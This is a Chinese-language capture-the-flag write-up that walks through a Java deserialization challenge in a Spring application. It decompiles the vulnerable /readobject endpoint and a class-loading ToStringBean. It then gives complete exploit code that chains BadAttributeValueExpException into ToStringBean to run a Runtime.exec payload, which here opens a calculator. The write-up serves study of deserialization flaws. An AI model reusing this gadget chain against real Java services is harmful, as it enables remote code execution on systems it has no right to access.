前言 感觉题目分析着还可以,就记录一下,顺便水一篇笔记。
题目分析 启动环境 下载好jar包之后,先运行了下,发现是一个spring项目,根据提示访问本地8888端口。
访问网站
获取源码 使用JD-GUI查看这个jar包的源码。使用JD-GUI打开即可看到源码,如下
在本地mark下,不过并没有保持1比1还原,只是做个复现环境
启动本地项目
源码分析 首先看IndexController类,存在两个路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @Controller public class IndexController { @ResponseBody @RequestMapping ({"/" }) public String index (HttpServletRequest request, HttpServletResponse response) { return "index" ; } @ResponseBody @RequestMapping ({"/readobject" }) public String unser (@RequestParam(name = "data" , required = true ) String data, Model model) throws Exception { byte [] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets" ) && year == 2021 ) objectInputStream.readObject(); return "welcome bro." ; } }
第一个也就是我们访问启动好的环境之后的默认路由/,返回index.重要的是readobject,方法名为unser,需要接收一个名为data的参数。接收后通过Tools.base64Decode(data);进行base64解码操作。然后通过ByteArrayInputStream读取字节流中的数据,ObjectInputStream将读取到的字节恢复为对象,想必都不陌生吧,只不过没有了ObjectInputStream序列化转换的字节流数据了,这里就是java序列化和反序列化的标准利用方式。接着往下看。
1 2 3 4 5 String name = objectInputStream.readUTF(); int year = objectInputStream.readInt();if (name.equals("gadgets" ) && year == 2021 ) objectInputStream.readObject(); return "welcome bro." ;
这几句代码先读取一个字符也就是UTF,在读取数字赋值给year,在通过一个判断确认name是否是gadgets,year是否是2021。满足之后去调用readObject从而导致反序列化。然后去看别的代码,在ToStringBean.java中看到如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class ToStringBean extends ClassLoader implements Serializable { private byte [] ClassByte; public String toString () { com.example.demo.tools.ToStringBean toStringBean = new com.example.demo.tools.ToStringBean(); Class clazz = toStringBean.defineClass((String)null , this .ClassByte, 0 , this .ClassByte.length); Object Obj = null ; try { Obj = clazz.newInstance(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } return "enjoy it." ; } }
可以看到继承了ClassLoader类并且继承了Serializable接口。下面的代码中可以看到实例化了一个对象toStringBean然后调用了defineClass。defineCLass可从字节码中动态加载一个类,加载完成后进行实例化。ClassByte为private 属性,所以可以通过反射来进行赋值。赋值的时候需要注意的是,需要编写利用类如下
1 2 3 4 5 6 7 8 9 10 11 package com.example.demo; import java.io.IOException; public class exPayload { static { try { Runtime.getRuntime().exec("open -a Calculator" ); } catch (IOException e) { e.printStackTrace(); } } }
编译一下代码,然后找到这个类的绝对路径并复制然后通过读取来利用这个类。反射赋值的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.example.demo; import com.example.demo.tools.ToStringBean; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class ExpDemo { public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException { ToStringBean toStringBean = new ToStringBean(); Field classByteFiled = toStringBean.getClass().getDeclaredField("ClassByte" ); classByteFiled.setAccessible(true ); byte [] bytes = Files.readAllBytes(Paths.get("/Users/ly0n/CTF/WEB/DongHua/ctf/target/classes/com/example/demo/exPayload.class" )); classByteFiled.set(toStringBean,bytes); } }
紧接着就是去找相关的调用toString的函数和方法。这里我的想法就是看这些调用了toString的方法,然后去看是否存在可以利用的。不过很多,一个一个看根本不现实。
朋友提示了下CC链,就去百度了看下,发现在CC5中BadAttributeValueExpException是存在调用toString的。
也是需要通过反射来对val进行赋值的。通过这两处分析这道题目的利用链就很清晰了
1 2 3 ----->badAttributeValueExpException.toString ---------->ToStringBean.toString -------------------->IndexController.unser
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.example.demo;import com.example.demo.tools.ToStringBean;import com.example.demo.tools.Tools;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class ExpDemo { public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException { ToStringBean toStringBean = new ToStringBean(); Field classByteFiled = toStringBean.getClass().getDeclaredField("ClassByte" ); classByteFiled.setAccessible(true ); byte [] bytes = Files.readAllBytes(Paths.get("/Users/ly0n/CTF/WEB/DongHua/ctf/target/classes/com/example/demo/exPayload.class" )); classByteFiled.set(toStringBean,bytes); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123 ); Field valFiled = badAttributeValueExpException.getClass().getDeclaredField("val" ); valFiled.setAccessible(true ); valFiled.set(badAttributeValueExpException,toStringBean); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("gadgets" ); objectOutputStream.writeInt(2021 ); objectOutputStream.writeObject(badAttributeValueExpException); byte [] bytes1 = byteArrayOutputStream.toByteArray(); String s = Tools.base64Encode(bytes1); System.out.println(s); } }
成功利用